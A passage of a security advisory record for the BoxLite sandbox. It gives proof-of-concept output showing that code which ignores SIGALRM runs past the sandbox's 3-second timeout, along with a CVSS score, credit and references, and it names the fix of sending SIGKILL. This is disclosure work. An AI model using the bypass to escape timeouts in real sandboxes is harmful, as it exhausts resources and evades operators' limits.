timeout=3.0s\n   ======================================================================\n     [RESULT] exit_code=-14, elapsed=3.01s\n     [OUTPUT]\n       PID 3: normal process (default SIGALRM), running for 8s\n       PID 3: t+1s alive\n       PID 3: t+2s alive\n   \n   ======================================================================\n   TEST: EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)\n     timeout=3.0s\n   ======================================================================\n     [RESULT] exit_code=0, elapsed=8.14s\n     [OUTPUT]\n       PID 4: SIGALRM=SIG_IGN, running for 8s\n       PID 4: t+1s alive\n       PID 4: t+2s alive\n       PID 4: t+3s alive\n       PID 4: t+4s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+5s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+6s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+7s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+8s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED\n   \n   ======================================================================\n   TEST: BASELINE: Normal process, no timeout (sanity check)\n     timeout=None (disabled)\n   ======================================================================\n     [RESULT] exit_code=0, elapsed=8.09s\n     [OUTPUT]\n       PID 5: normal process (default SIGALRM), running for 8s\n       PID 5: t+1s alive\n       PID 5: t+2s alive\n       PID 5: t+3s alive\n       PID 5: t+4s alive\n       PID 5: t+5s alive\n       PID 5: t+6s alive\n       PID 5: t+7s alive\n       PID 5: t+8s alive\n       PID 5: finished\n   \n   ======================================================================\n   VERDICT\n   ======================================================================\n     CONTROL:  elapsed=3.01s  exit_code=-14  timed_out=False\n     EXPLOIT:  elapsed=8.14s  exit_code=0  timed_out=False\n     BASELINE: elapsed=8.09s  exit_code=0  timed_out=False\n   \n     [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)\n         \u2192 confirms timeout watcher sends SIGALRM instead of SIGKILL\n     [+] Exploit process ran 8.1s past 3.0s timeout, exited normally\n         \u2192 SIGALRM was absorbed by SIG_IGN, timeout completely bypassed\n   \n     *** VULNERABILITY CONFIRMED ***\n     Fix: change Signal::SIGALRM \u2192 Signal::SIGKILL in\n          guest/src/service/exec/timeout.rs\n   ```\n\n   As shown in the output, after catching the SIGALRM signal, the process can continue running, bypassing the timeout restriction.\n\n\n\n#### Impact\n\nMalicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.\n\n\n\n#### Score\n\nSeverity: Medium, Score: 6.5, rationale as follows:\n\n- AV:N \u2014 Can be triggered by submitting code via the network API\n- AC:L \u2014 No complex exploitation required; catching the signal is sufficient to bypass\n- PR:L \u2014 The attacker does not need special privileges\n- UI:N \u2014 The attacker does not need to interact with the victim\n- S:U \u2014 This vulnerability only affects the sandbox internals and does not change the scope\n- C:N/I:N/A:H \u2014 This vulnerability only affects availability, not confidentiality or integrity\n\n\n\n#### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out to Tencent Xuanwu Lab for further discussion by emailing xlabai@tencent.com.\n\n\n\n#### Note\n\nNote that the organization follows the industry-standard **90+30 disclosure policy** (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that the organization reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented.",
  "id": "PYSEC-2026-2400",
  "modified": "2026-07-13T16:03:38.238584Z",
  "published": "2026-07-13T15:35:21.279142Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-xjhv-pp2r-6f82"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/boxlite-ai/boxlite/commit/28159fc5b6b6fd5037e18a58fc4644c882e3c581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/boxlite-ai/boxlite"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/boxlite"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xjhv-pp2r-6f82"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BoxLite has a Timeout Bypass Vulnerability"
}